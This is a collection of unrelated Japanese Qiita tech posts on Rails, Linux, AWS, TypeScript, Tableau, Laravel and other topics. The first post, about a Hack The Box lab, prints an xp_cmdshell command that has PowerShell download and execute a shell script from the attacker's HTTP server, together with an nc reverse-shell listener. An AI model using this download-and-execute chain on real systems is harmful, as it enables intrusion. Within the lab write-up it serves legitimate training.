OmniAICreator/Qiita-1.07M huggingface dataset:
【Hack The Box】Starting Pointの一部箇所でエラーになる原因

Hack The Boxを最近やり始めたのですが、Starting Pointの一部箇所でエラーとなり
先に進むことができなかった原因と回避策をメモしています。

利用したのはPwnbox環境です。


参考
[【Hack The Box】Starting Point（Archetype）](https://qiita.com/YuasaJunki/items/400e50eadb00d1b970b0)

### エラー発生個所
---
```
//python3がエラーになっているはず
kali@kali:~$ sudo python3 -m http.server 80 
kali@kali:~$ sudo nc -lvnp 443

//ufwコマンドなかったです。なくても問題ありませんでした。
kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443

//問題の箇所
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"￥
```

xp_cmdshellコマンドを何度実行してもHTTPレスポンス405エラーとなります。
原因は既に80番ポートで別のWEBサーバが立ち上がっており、そちらのWEBサーバで
リクエストを弾いてました。

### 回避策
---
```
kali@kali:~$ sudo python3 -m http.server 81
kali@kali:~$ sudo nc -lvnp 443

//81番ポートにアクセスするようにURLを書き換え
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3:81/shell.ps1\");"￥
```
単純にhtto.serverを80番以外で立ち上げ、xp_cmdshellを少し書き換えるだけです。
RAM 2GBのノートPCでLinux(64ビット版)は実用的に使えるか？

今から5年以上前になるかと思いますが、RAM2GB, ROM32GBといった構成にWindowsを載せたマシンが発売され「データはクラウドで運用」などという言葉とともにそれなりに売れていたかと思います。今回は、当時のこのような構成のマシンで、現在のLinux(64ビット版)を実用的に使えるかということを検証してみます。

なお「実用的」という言葉は多様に解釈できますが、ここでは（それでは物足りないという意見も多いかと思いますが）Webブラウジングが実用的な速度でできること、ととりあえずさせていただきます。

#検証に用いるPCのスペック
型名:HP Stream11-r000
RAM:2GB
ROM:32GB(eMMC)
CPU:Celeron N2840
その他:11.6型、64ビット版Windows搭載

#どのディストリビューションを使うかという問題
現在のLinuxディストリは豊富で、今回はデスクトップユースを念頭に置いた選択をしますが、それでも主要なものでも多数存在し、それぞれ特徴があります。UbuntuやFedoraを選択するのが無難ですが、今回はあえてDebianを選択します。UbuntuやFedoraはインストール直後からあまり手を加えずに利用しやすい環境が得られる半面、GNOMEというヘビーなデスクトップ環境を採用していること、またその他今回想定するようなWebブラウジングという用途には不要なアプリケーションも多数含まれていることから、最終的に選択肢から外しています。

#ディストリビューションのインストールと環境設定
Debian公式サイトから最新安定版リリース(10, Buster)のISOイメージをダウンロードし、適切なメディアにフラッシュした上で、インストールメディアから起動し、手順に従ってインストールします。この流れは通常のインストール作業と同じですが、今回はnetinstall用のイメージではなく、Xfce環境が含まれているイメージを利用してインストールしました。また、Debianなのでプロプライエタリなドライバが含まれていない問題があり、実際今回もWiFiがインストール直後には機能しませんでしたが、別途Non-FreeレポジトリからWiFiドライバのパッケージをダウンロードしてインストールした結果、正常に機能しました。

Webブラウジングに使うブラウザとしては、今回はGoogle Chromeを選択します。デフォルトで含まれているのはFirefoxですが、数字的な意味でのリソースの使用量はともかく、体感的にFirefoxよりもChromeのほうがスムーズに動作するような感じがあります。Chromeのパッケージを公式サイトよりダウンロードしてインストールし、利用します。また「実用的」という意味では日本語インプットメソッドも必要かと思いますので、IBusとMozcもインストールしておきます。

#実用的に使えるか？パフォーマンスはどうか？
以上の作業で最低限の環境は整いますので、実際にどれくらい実用的に使えるを試してみます。
とりあえず、`free -h`コマンドでメモリの使用量を確認します。状況としては、ブラウザのタブを3枚開き、QiitaとSNSサイト(Twitter)およびStream11のメーカーの製品情報ページを開いています。

結果としては`total 1.8Gi`中`used 854Mi`となりました。想像よりもメモリ消費量が少ないようです。動作としても、ページ読み込み時に多少待たされますが、その後はフォームへのテキストの入力なども含め、実用的な速度で動作します。ブラウザのタブを3つ開いた状態、ということで最低限の使用状況ではありますが、メモリの空きなどを見ると若干の余裕を持ちつつ利用できそうです。

#結論
非常に簡単な検証ではありましたが、結論としては、シンプルにWebブラウジングをするくらいであれば、RAM2GBのマシンでもそこそこ実用的に使えそうな感じです。今回、Debian+Xfceという選択をしたので、ブラウザ以外のソフトウェアの選択が省メモリだったのが効いているのかもしれません。GNOMEを使ったり、タブの開く枚数を増やしたりすると状況は変わってきそうです。また開発環境として、特にIDEの使用についてはかなり厳しそうな感じがしますが、他日機会があれば検証してみたいと思います。
【Rails】FontAwesomeの導入

# 目的
Railsで作成したアプリに`Font Awesome`を導入する。

# 開発環境
macOS: *Big Sur*
Rubyバージョン: *2.6.5*
Railsバージョン: *6.0.0*

# 前提
- アプリ`test-app`が作成されている。
[【Rails】簡単な投稿アプリの作成](https://qiita.com/oak1331/items/18a4f3a3386aab0fa354)

# 手順

1. [Font Awesomeとは](#font-awesomeとは)
1. [Font Awesomeのインストール](#font-awesomeのインストール)
1. [scssファイルの設定](#scssファイルの設定)
1. [jsファイルの設定](#jsファイルの設定)
1. [確認](#確認)

# Font Awesomeとは

アイコンをアイコンフォントという文字として使うことができるツールの事です。
有料のアイコンもありますが、基本無料で使用できるので気軽に使用できます。

# Font Awesomeのインストール

それでは早速始めていきます!
まず下記コマンドで`Font Awesome`をインストールをします。

```:ターミナル
% yarn add @fortawesome/fontawesome-free
```

# scssファイルの設定

次に`Font Awesome`を使用するための設定をしていきます。
下記のように記述しましょう！

```css:app/javascript/stylesheets/application.scss
@import '@fortawesome/fontawesome-free/scss/fontawesome';
```

デフォルトでは`application.scss`は存在しなく、`application.css`になっているので、
ご自身で書き換えてください！

# jsファイルの設定

次にjsファイルの設定です。

```js:app/javascript/packs/application.js
import '@fortawesome/fontawesome-free/js/all';
```

これで、`Font Awesome`を使う準備ができました！

# 確認

ここまで実装できたら導入できているか、確認してみます。
ビューファイルに下記コードを貼り付けてみましょう！

```html:app/javascript/packs/application.js
<i class="fas fa-arrow-right"></i>
```

ビューを確認し、`「→」`が表示されたら成功です！
あとは公式HPから好きなアイコンを見つけて、コードをコピペすればOKです！
[Font Awesome](https://fontawesome.com/v5.15/icons?d=gallery&p=2)

ちなみにCSSでサイズやカラーなども編集可能ですので、ぜひお試しください。

# 最後に

以上で`Font Awesome`の導入は完了です。
簡単に導入できて便利に使えるのでぜひ試してみてください。
では。
【Rails】管理者権限において管理者のみが特定のページや内容を見れるようする

#管理者のみが特定のページや内容を見れるようするにはどうするか
管理者機能を実装し、管理者のみが特定のページを見れたり、特定の内容を表示できるようにします。

今回は管理者機能を実装する方法は省略するため気になる方は以下の記事をご覧ください。
[【初心者向け】管理者ユーザーと管理者用controllerの追加方法[Ruby, Rails]](https://qiita.com/tanutanu/items/7ce8826615f1af605164)

###管理者のみが特定の内容を見えるようにする
```html.erb
<% if current_user.admin? %>
    <%# この間に書かれた内容は管理者のみ見れる %>
<% end %>
```

###管理者のみが特定のページを見えるようにする
下記のコードを記述することによって、管理者以外がURLを直打ちしても特定のページを表示させないようにできます。

```controller.rb
class ArticlesController < ApplicationController
before_action :admin_scan, only: [:管理者のみが実行可能なアクション]

中略

private

 def admin_scan
   unless current_user.admin?
     redirect_to root_path   #管理者以外が管理者のみ実行できるアクションを実行しようとしたときのリダイレクト先
   end
 end

end

```

#参考記事
[【初心者向け】管理者ユーザーと管理者用controllerの追加方法[Ruby, Rails]](https://qiita.com/tanutanu/items/7ce8826615f1af605164)
[admin?メソッドを使って、簡単に管理者のみが商品出品できるようにする方法](https://note.com/mi_takanow/n/nae559621628f)
VPGなしで使えるようになったSORACOM Peekを試してみた

# この記事は

オンデマンドパケットキャプチャリング機能[SORACOM Peek](https://soracom.jp/services/peek/)が、VPGなしで使えるようになったので早速試してみたという記事です。

公式ブログの記事は[こちら](https://blog.soracom.com/ja-jp/2021/05/28/soracom-peek-for-sim/)になります。

# SORACOM Peekとは

SORACOM IoT SIMからSORACOMプラットフォーム内を流れるパケットをキャプチャできるサービスです。これによって、「デバイスからSORACOMまで思った通りの通信ができてるか？」を確認することができます。

詳しくは以前和田さんが書かれたブログを参照してください(他人の褌)。

https://qiita.com/keni_w/items/47d91472afb8d823383d

和田さんのブログにもありますように、これまではVPGを準備する必要がありました。VPGまずまずお値段しますし、設定や(課金を止めるために)後片付けも必要だったりと、やや敷居が高かったのは否めないところです。Peek登場以前のJunction使うのに比べると格段にお手軽ではあるんですが・・・。

そんなPeekに、待望のVPGなしで使える機能「Peek for SIM」が発表されました。

# 早速使ってみる

では早速やってみましょう。今回はGPSマルチユニットで試してみます。

コンソールにアクセスし、「SIM管理」から該当のSIMを選択して「操作」を選びます。確かに「パケットキャプチャ」という項目が増えています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/9509f91a-e8c7-9c0e-bdeb-d12bef71a3c2.png)

これを選び、「キャプチャを開始」を押します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/a0550b54-43bf-98fa-87db-3aad1cba0641.png)

ファイル名とキャプチャ時間を入れます。ここではファイル名(PREFIX)を「gpsmultiunit」、キャプチャ時間を300秒としました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/4d781c14-37b8-044b-3bad-25c7c1993d00.png)

「キャプチャを開始」を押すとキャプチャが始まるか・・というと、最初はキャプチャの状態が「REQUESTED」になっていることがあります。その場合は「CAPTURING」になるまでリロードボタンを押しながら待ちましょう(たまにリロード押してもなかなかCAPTURINGにならないこともあるんで、キャプチャ時間は余裕を持っておくのをお勧めします)。Peekのキャプチャセッションのステータスについては[こちら](https://users.soracom.io/ja-jp/docs/peek/statuses/)に説明があります。

キャプチャが始まったらGPSマルチユニットのボタンを押して通信し、終わったら「停止」を押すか、300秒待てば終了します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/45ead393-3248-12e2-aed9-3cf87fe0a0c0.png)

終わったら「リンクを取得」ボタンを押します。ボタンが「ダウンロード」に変わるのでそれを押してダウンロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/b2a25a45-6b61-22bf-4539-0d1309e73318.png)

ダウンロードしたファイルをWiresharkで開くと、こんな感じでパケットが見られました。
最初におなじみのJSONデータがUDPで送られてるのが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/297f99af-e6fb-f799-b908-d927472385d9.png)

そして、私は「Hello from Lambda!」と返すAWS LambdaにSORACOM Beamで転送するようにしていたのでその返事と、同じくONにしていたSORACOM HarvestDataへのデータ送信が成功したというレスポンスが戻ってきていることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/f0bda3f6-aa59-cd1c-c665-648c414171cb.png)

さらに、metadataサービスに設定を取りに行ってる様子が分かりますね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59415/796eda7e-aa9d-18a5-8f22-ff7b3b19258a.png)

# まとめ

SORACOM IoT SIMで通信を行っている場合、その通信内容が想定通りかを調べるにはパケットキャプチャをするのは強力な手段です。
Peek for SIMはVPGの準備も不用で簡単にキャプチャができますので是非お試しください。
たくさんのボタンで遊んでみた

SwiftUIでボタンを押すとポップアップが表示され、１クッション置いた後そのボタンに動作がなされるものを自分なりに表現できたので、学習の記録のために投稿しました。

スクロールビューの中にボタンをたくさん配置して、それぞれで動作するでいるように頑張りました。


```swift
import SwiftUI

struct ContentView: View {
    @State var array = ["あいうえお","かきくけこ","さしすせそ","たちつてと","なにぬねの","はひふへほ","まみむめも","やゆよ","らりるれろ","わをん"]
    @State var ShowConfirmFlags = Array(repeating: false, count: 10)
    @State var flags = Array(repeating: false, count: 10)
    
    var body: some View {
            ScrollView{
                ForEach(0..<array.count) { num in
                    Button(action: {
                        ShowConfirmFlags[num] = true
                    }) {
                        Text(array[num])
                                 .font(.title2)
                                     .fontWeight(.black)
                                     .foregroundColor(Color.white)
                                     .multilineTextAlignment(.center)
                                     .padding(.all)
                                     .background(Color.red.opacity(0.5))
                                     .cornerRadius(5)
                                     .padding(.all)
                            .shadow(color: .gray, radius:flags[num] ? 0:4, x: flags[num] ? 0 : 5, y: flags[num] ? 0 : 5)
                            .offset(x: flags[num] ? 5 : 0,y: flags[num] ? 5 : 0)
                    }.alert(isPresented: $ShowConfirmFlags[num]) {
                        Alert(title: Text("押し込む"),
                              primaryButton: .default(Text("いいえ")),
                              secondaryButton: .default(Text("はい")) {
                                flags[num] = true
                              }
                        )
                    }
                }
        }
    }
}

struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        VStack{
            ContentView()
             
        }
    }
}
```
表示させるテキストのデザインに少し凝ってしまったためText以下の部分が長くなってしまいました…

このgifでは一つ目のボタンしかしていませんが　、下のボタン達もちゃんと動きました。
<img width="300" alt="ezgif.com-video-to-gif.gif" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1104236/c0f3788c-b4c7-621d-b75e-2208768f0ef2.gif">

まだ初学者でネットの情報のもとに作成したため、あまりスマートなやり方ではないかもしれません。これからも見様見真似で、色々なことをできるようにして自分が作りたいアプリを完成させたいです。
フォームのplaceholderをフォーカス時に非表示にする

#css

```
input:focus::-webkit-input-placeholder {
	color: transparent;
}
input:focus::-moz-placeholder {
	color: transparent;
}
input:focus::-ms-input-placeholder {
	color: transparent;
}
input:focus::placeholder {
	color: transparent;
}
```
iTerm2 で CentOS6 にログインすると文字化けする時の対処

# 概要

* macOS の iTerm2 から CentOS6 環境にログインしたところ日本語が文字化けした
* iTerm2 の Set locale variables automatically のチェックを外したところ解決した

# 環境

ローカル: macOS, iTerm2
リモート: CentOS 6.5

# 現象

1. ログイン時に以下のメッセージが表示された

    ```bash
    -bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): そのようなファイルやディレクトリはありません
    ```

2. vi で開いた日本語ファイルが文字化けした
3. LC_CTYPE が UTF-8 になっている （ja_JP.UTF-8 になっていてほしい）

    ```bash
    $ locale
    locale: Cannot set LC_CTYPE to default locale: No such file or directory
    locale: Cannot set LC_ALL to default locale: No such file or directory
    LANG=en_US.UTF-8
    LC_CTYPE=UTF-8
    LC_NUMERIC="en_US.UTF-8"
    以下省略
    ```

# 対処

1. **リモート側**の/etc/sysconfig/i18n を編集

    ```diff
    -LANG="en_US.UTF-8"
    +LANG="ja_JP.UTF-8"
    ```

2. **ローカル側**で iTerm2 の設定から ```Set locale variables automatically``` のチェックを外す
    
    ```
    Preferences > Profiles > Terminal > Environment > Set locale variables automatically
    ```
3. iTerm2 のターミナルを再起動・再接続したところ解決した

    ```bash
    $ locale
    LANG=ja_JP.UTF-8
    LC_CTYPE="ja_JP.UTF-8"
    LC_NUMERIC="ja_JP.UTF-8"
    以下省略
    ```
Ubuntu 20.10 に python3.9 をインストールしたときの備忘録

# はじめに
クラウドサービスで Ubuntu サーバーを立ち上げながらメモしてます。
どうやら Mac みたいに homebrew 入れて `brew install python3.9` で完了！というわけではないようで忘れそうなので。。。
> 参考: [こちらを参考にしました](https://ubunlog.com/ja/python-3-9-como-instalar-en-ubuntu-20-04/)

## 事前情報
##### OS
* Ubuntu 20.10

##### インストールしたいもの
* python3.9

##### 使うもの
* apt

## 流れ
1. [とりあえずaptを更新](#step1---とりあえずaptを更新)
1. [リポジトリ管理ソフトをインストール](#step2---リポジトリ管理ソフトをインストール)
1. [リポジトリを追加](#step3---リポジトリを追加)
1. [python3.9をインストール](#step4---python39をインストール)

## Step1 - とりあえずaptを更新
`apt` のパッケージ情報を更新するため `apt update` を行います。

```
$ sudo apt update
```

## Step2 - リポジトリ管理ソフトをインストール
インストールは以下のコマンドを実行します。

```
$ sudo apt install software-properties-common
```

`apt info software-properties-common` と打って情報を見てみると
どうやらリポジトリを管理してくれている感じですかね。。。英語もっと勉強しないと。。。

## Step3 - リポジトリを追加
上記でインストールしたソフトを使ってリポジトリを追加します。

```
$ sudo add-apt-repository ppa:deadsnakes/ppa
```

色々情報が表示された後、以下のような質問をされるので Enter を押します。

```
Press [ENTER] to continue or Ctrl-c to cancel adding it.
```


## Step4 - python3.9をインストール
それではいよいよ python3.9 をインストールしていきます。。！

```
$ sudo apt install python3.9
```

上記を実行すると続けますか？？のように聞かれるので `Y` を打って `Enter` を押します。
これでインストールが完了します。

以下のようにコマンド入力すると

```
$ python -V
```

以下のように帰ってきました。インストール成功です！！

```
Python 3.9.5
```

## 最後に
私の場合はサーバーを立ち上げた直後にやったので参考サイトを見ながらコマンド打っていくだけで他に何かしなくても問題なくインストールできました。

また設定することになった未来の自分や私のように `brew install python3.9` みたいに簡単じゃないの！？とお困りの人に参考になれば幸いです。

__that is it from me !!!__
未経験からのAWS SAA受験記

[link-1]:https://www.udemy.com/share/101XFiAEMecFZXRX8F/
[link-2]:https://www.udemy.com/share/101rfMAEMecFZXRX8F/
[link-3]:https://aws.koiwaclub.com/
[link-4]:https://aws.amazon.com/jp/aws-jp-introduction/aws-jp-webinar-service-cut/

##**■はじめに**
AWS ソリューションアーキテクトアソシエイト(SAA)を取得したので、
勉強方法や試験の概要、アドバイスなど記載しようと思います。

※投稿テストも兼ねています。


##**■前提**
・未経験エンジニアとして入社後、業務未経験の段階で取得(研修期間中に取得)
・学歴は国立大文系卒
・プログラミング経験は大学の授業Pythonを使ったWEBサイトの構築のみ
　(ほとんど先生のコードをコピペしていた程度)
・前職もIT関係だったこともあり、サーバクライアント構成はなんとなくわかる程度
・研修期間中にLinuxレベル１を取得済み
・AWS利用経験なし

##**■勉強方法**
####**●教材**
利用した教材は以下の通りです。
######Udemy
※Udemy講座は一見高いですが、2週間に一度くらいで半額以上のセールをやっているのでその時期に購入しましょう。

[これだけでOK！ AWS 認定ソリューションアーキテクト – アソシエイト試験突破講座（SAA-C02試験対応版）][link-1]
AWS利用経験がないのならこの講座は**must**。ハンズオンでAWSとは(そもそもクラウドとは)何かというものが理解できます。
この講座なしで問題を解きまくってもピンとこないまま定着しないのではと思います。

[【SAA-C02版】AWS 認定ソリューションアーキテクト アソシエイト模擬試験問題集（6回分390問）][link-2]
上の「これだけでOK…」にも模擬問題はついているので、必要ないかも。。。
問題をこなすなら、[AWS WEB問題集][link-3]の方がよい。
Udemy問題集は、1問ずつ答えが確認できないのが痛い。


######書籍
[徹底攻略 AWS認定 ソリューションアーキテクト – アソシエイト教科書](https://www.amazon.co.jp/dp/4295005495/ref=cm_sw_r_tw_dp_JGG6BBCXDRW41VZ24G2J)
正直不要。
AWSは情報更新が早いので、書籍で勉強しても結局公式ドキュメントを参照する羽目になる。
書き込んで勉強したい方以外はお金の無駄だと思います。

######WEB情報
[公式ドキュメント](https://docs.aws.amazon.com/ja_jp/)
結局、ここに書いてある情報が正しいのでわからなくなったらここを見ることになります。
積極的に見る必要はないかもしれませんが。。
(ググってもトップに出てくるので言及する必要ないかも)

[BlackBelt][link-4]
AWSの方が各サービスについて1時間ほど解説してくれています。
YouTubeで見れるので見やすいですが、「ﾁｮｯﾄﾅﾆｲｯﾃﾙｶﾜｶﾗﾅｲ」状態に陥りがちです。
概要が何となくつかめればよいかな

[Developers IO](https://dev.classmethod.jp/)
公式以外のソースだとAWS関係では質・量ともに信頼できるのではと思います。

######AWSアカウント
[AWSコンソール](https://console.aws.amazon.com/console/home)
「習うより慣れろ」ですね。
無料枠の範囲を参考にしながら適当にインスタンス立てるのもよし、
間違ってｳﾝ万円の請求を食らうのもよしです。


####**■勉強方法**
######①インプット
・Udemyの[「これだけでOK…」][link-1]講座にてAWS知識を詰め込みます。
・私のこの時の理解度は50％くらいでした。(後でもう一周してます。)
・適宜、WEB情報を見て情報を補完していきます。

######②アウトプット
・[Udemy][link-2]や[WEB問題集][link-3]で問題を解きます。
・目的は「何が身についていないか」を知ることです。正答率は気にしません。
　→ここが一番つらいです。無限と錯覚するほど範囲が広く、わからないことが多いです。

######③①と②の繰り返し
・②で身についていなかった分野を[Blackbelt][link-4]などで埋めていきます。
・私は身についていなかった箇所を地道にメモってまとめノートを作っていました。
・実際にコンソールで操作してみるのも効果的かと思います。
・500問程度の答えを丸暗記レベルまでやりこめば怖いものなし。

##**■受験**
####形式
・形式は模擬問題通りです。(わざわざ言及不要かと)
・後で見直すことが可能です。
・問題にフラグを立てることができるので、「確実に正解」以外にフラグを立ててあとで回収していくのがよいかなと思います。
・当日は「確実に正解」が30問弱もあったので、確率的に合格やろと思って終了しました。

####内容
・オンプレやWindowsとの連携問題がよく出た印象です。
　→AWS単体ではなく、他システムとの連携まで意識して勉強すると吉です。
・EC2、S3、VPC、IAM、RDSに関してはかなり深い機能まで聞かれます。
　→ここを完璧にするだけで合格するのではレベル
・逆にKinesisやらAthenaやらは典型的な構成と機能だけで十分です。

##**■最後に**
・業務未経験からでも十分に合格可能ですが、
　序盤はAWS以外の「エンジニアの基礎」で躓くことが多かったです。
・要求される知識領域が広すぎて挫折しかけますが、そこを乗り越えた先に光あり。
TypeScript 4.3でoverride修飾子が導入されました

## はじめに

この記事は、TypeScript 4.3で導入されたoverride修飾子の利用法を共有するためのものです。

TypeScript 4.3が2021/05/26に[リリース](https://devblogs.microsoft.com/typescript/announcing-typescript-4-3/)されました。このリリースノートの中で気になった[override修飾子](https://devblogs.microsoft.com/typescript/announcing-typescript-4-3/#override)の使い方と、どのようなケースで使うべきかの2点について読み解いていきたいと思います。

## `override` 修飾子

override修飾子は、その関数が親クラスからoverrideされていることを明示します。

### 使い方

```typescript
class Base{
  show(){};
  hide(){};
}

class Extends extends Base{
  override show(){};
  override hide(){};
}
```

このコードのように、ユーザーはshowとhide関数はoverrideされているとTypeScriptコンパイラーに教えられます。

```typescript
class Base{}

class Extends extends Base{
  override show(){};
  override hide(){};
}
```

override修飾子をつけたまま親クラスの関数を削除すると、TypeScriptのコンパイル時に以下のエラーが発生します。

```console
This member cannot have an 'override' modifier because it is not declared in the base class 'Base'.
このメンバーは、ベースクラス「Base」で宣言されていないため、「override」修飾子を持つことはできません。
```

## `--noImplicitOverride` フラグ

`--noImplicitOverride`はtscコマンドのオプションです。tsconfig.jsonで指定も可能です。

### 使い方

```typescript
class Base{
  show(){};
  hide(){};
}

class Extends extends Base{
  show(){};
  hide(){};
}
```

\--noImplicitOverrideフラグなしの場合、上記のコードではエラーが発生しません。
フラグをつけると以下のエラーが発生します。

```console
This member must have an 'override' modifier because it overrides a member in the base class 'Base'.
このメンバーは、ベースクラス「Base」のメンバーをオーバーライドするため、「override」修飾子を付ける必要があります。
```

\--noImplicitOverrideフラグがある場合、override修飾子なしのオーバーライドは認められません。

## どのような場合に使うべきか

override修飾子は、複雑な継承関係をもつクラスのリファクタリングを簡単にします。

```typescript
class Base{
  show(){};
  hide(){};
}

class Extends extends Base{
  show(){
    super.show();
  };
  hide(){
    super.hide();
  };
}
```

従来の記法でもsuperでの継承元関数の呼び出しがあれば、TypeScriptコンパイラで関数の削除が検知できました。しかし継承元関数の呼び出しがない場合、親クラスで関数が削除されたことを検知する方法がありませんでした。

override修飾子を使えば、こうしたヒューマンエラーをコンパイル時に検出できます。

以上、ありがとうございました。
[Tableau] 脱初心者！ 「表示形式」だのみからの脱却

# はじめに

Tableauを勉強してみたら、「表示形式」タブって使わないじゃん、というお話。

# 「表示形式」の誘惑

ようやくTableauのライセンスを手に入れて、ワクワクしながらTableau Desktopを起動したあの時。

サンプルのデータソースを読み込んで、シートを開いて、さぁ、どんなグラフを描いてみようか！
と、思ったその後、一体どこをクリックするでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1513463/082c1fe0-63c5-f4b0-3539-1e69b279459c.png)

私は、右の「表示形式」でした。

「きっとこれをポチポチすれば、綺麗なグラフが作れるに違いない！」
と思ったわけです。

結果なにが起こったかというと、

- 思ったグラフは作れない
- ていうか作りたいグラフはグレーアウトしてる
- さっき指定したはずディメンションとかバリューが変わってる
- 混乱

UIをぱっと見ると、この「表示形式」が一番簡単にグラフを作れそうに見えるんですよね。
でも、そんなことないのです。

## なにがよろしくないか

表示形式のなにがよろしくないか、というと、基本的には思ったグラフにはならないということです
（自分だけ？）

自動でいい感じにしてくれようとするのですが、微妙に意図と違う解釈をしてくれてしまう。

さらには、「あ、そうじゃないんだよ」と構成を変えようとすると、やりたいグラフがグレーアウトしてしまいます。
なんなら、初心者の時はどこが悪いのかもわからずお手上げ状態になります。

## じゃあどうしたらいいのか？

どうしたらいいかというと、「表示形式」は使わない、ということです。

あんなに親切そうな顔をしている「表示形式」ですが、スペースの無駄なのでそっと閉じます。
（しかも、表示形式は作業スペースに覆いかぶさってるので、下が見えなくなっています）

昔のWindowsのイルカみたいなものです。


# TableauのUIが分かるとは、作りたいグラフが分かるということ

なんで「表示形式」が（特に初心者の時に）魅力的に見えるかというと、自分がなんかよくわかんない状態でも、いい感じにしてくれそうに見えるからです。

でも、すぐに気付きますが、**「なんかよくわかんない状態」でグラフを作ってはいけませんね。**


グラフを作る過程は

1. 目的を確認
1. データを理解
1. 最適な表現をイメージ
1. 手を動かす

です。

初心者がよくわからんままTableauを起動して、いきなり手を動かそうとすると、「表示形式」が魅力的に見えます。

でも、ちゃんと順序を追って考えると、
「まずは横軸がこのデータで、縦軸がこのデータ。散布図にしたいからマークはこれにして…」
というふうにグラフの構成要素もちゃんと順序通りになってきます。

そうなると、あれだけ魅力的だった「表示形式」が今度はWindowsのイルカくんに見えてきます。
まずは横軸を設定したいのに、これ邪魔だなと言って非表示にしたくなるのです。

そして、作りたいグラフが明確になっていると、初心者の時によくわからなかったTableauのUIが、非常によくできていると気づきます。
列と、行と、投入する値をそれぞれドラッグ＆ドロップするだけですからね。

# まとめ

初心者の時に魅力的に見える「表示形式」ですが、それはまだグラフを作るイメージが湧いていないからです。

「表示形式」から脱却した時こそ、ちゃんとわかりやすいグラフを作る準備が自分の中でできた時なのではと思います。
telnetでワンライナーでメール送信する

```bash
{
    sleep 0.3;
    echo 'EHLO';
    sleep 0.3;
    echo 'MAIL FROM: <送信元メールアドレス(EnvelopFrom)>';
    sleep 0.3;
    echo 'RCPT TO: <送信先メールアドレス>';
    sleep 0.3;
    echo 'DATA';
    sleep 0.3;
    echo -e 'From: <送信元メールアドレス>\n\n'
    echo -e 'Subject: This is Test Subject.\n\n'
    echo -e 'This is Test Body.\n'
    echo '.'
} | telnet localhost 25

```
Vmmemメモリ消費の解消

背景
Vmmemというプロセスが以上にメモリを食うので
`wsl --shutdown`

参考：https://snowsystem.net/other/windows/wsl2-reboot/
してからdockerのコンテナを起動しようとしたところ以下のエラーが出た。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1347377/5c5ba30a-9dd3-6d97-dfa2-035a578a3079.png)


```
docker: error during connect: This error may indicate that the docker daemon is not running.: Post "http://%2F%2F.%2Fpipe%2Fdocker_engine/v1.24/containers/create": open //./pipe/docker_engine: The system cannot find the file specified.
See 'docker run --help'.
```


隠れているインジケータ上で鯨アイコンを右クリック→Restart Dockerで解決。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1347377/bc4236cc-fdb5-dcf1-9773-2c6eedb8f4d8.png)
Laravelでマスターレコードを登録する際のベストプラクティス

この記事は移行しました！[最新の内容はこちら](https://naoqoo2.github.io/blog/Laravel%E3%81%A7%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%AC%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E7%99%BB%E9%8C%B2%E3%81%99%E3%82%8B%E9%9A%9B%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9/)をご覧ください😀


# はじめに
システムでマスターテーブル作ってマスターレコード登録ってよくありますよね。

- migration
- seeder
- バッチ（artisanコマンド）

どれでやろうか悩んだ末、
今後はseederでやっていこうと心に誓ったのでそのメモ。

## 前提（やりたいこと）

- 環境構築時はコマンド一発で終わりたい
- 運用後のマスターテーブル、マスターレコードの変更を考慮する

## 今後の使い分け

- migrate
    - テーブル作成、カラム変更など **テーブルの操作のみ** とする
    - レコード操作は行わない
- seed
    - マスターレコード登録などシステムで **必要なレコードのみ** とする　←今回
    - テストデータはseedで入れない
        - 各ユニットテストで入れればいいし、そのほうがわかりやすい
- バッチ（artisanコマンド）
    - データ移行や補正など **運用上必要になったレコード操作** を対象とする

# ベストプラクティス

## データはCSVで管理
どんなデータがあるか把握しやすいようにプログラム内には書かず、ファイルで管理します（CSVでなくてもよい）

こんな感じ。

```csv:categories.csv
id,name,sort
1,カテゴリ1,1
2,カテゴリ2,2
3,カテゴリ3,3
```

運用後に追加、変更があったときはこのファイルを更新していく。

## Seederを実装

テーブル毎にSeederを書きます。
マスターデータに変更が入る場合を考慮し、全delete->insertしてます。
※運用中は一瞬でもマスタレコード消えるとまいっちんぐマチコなのでトランザクション処理を忘れずに！

```php
<?php

namespace Database\Seeders;

use Illuminate\Database\Seeder;
use DB;
use App\Models\Category;

class CategoriesTableSeeder extends Seeder
{
    public function run()
    {
        $filePath = storage_path() . '/master_data/categories.csv';
        $records = read_csv_file($filePath); // 独自関数です。補足参照。
        DB::transaction(function () use ($records) {
            // 入れ替えるためまずは全レコード削除(テーブル名を直接書きたくないのでモデルを使用)
            Category::query()->delete();
            foreach ($records as $record) {
                // created_at, updated_atを自動で入れたいのでinsertではなくモデルでcreateしている。
                // NOTE: seederではfillableやguardedは無視されるので気にする必要なし。
                Category::create($record);
            }
        });
    }
}
```

## 実行（レコード登録）

クラスを指定してseedを実行します。CSVファイルに変更が入ったときもこちら。
`php artisan db:seed --class=CategoriesTableSeeder`

### 環境構築時

新メンバーがジョインした時は
`php artisan migrate --seed`
で一撃！

となるように`DatabaseSeeder.php`にcallする処理を入れておきましょう。

```
$this->call(CategoriesTableSeeder::class);
```


## 補足

```php

    /**
     * CSVファイルを連想配列にして返す
     *
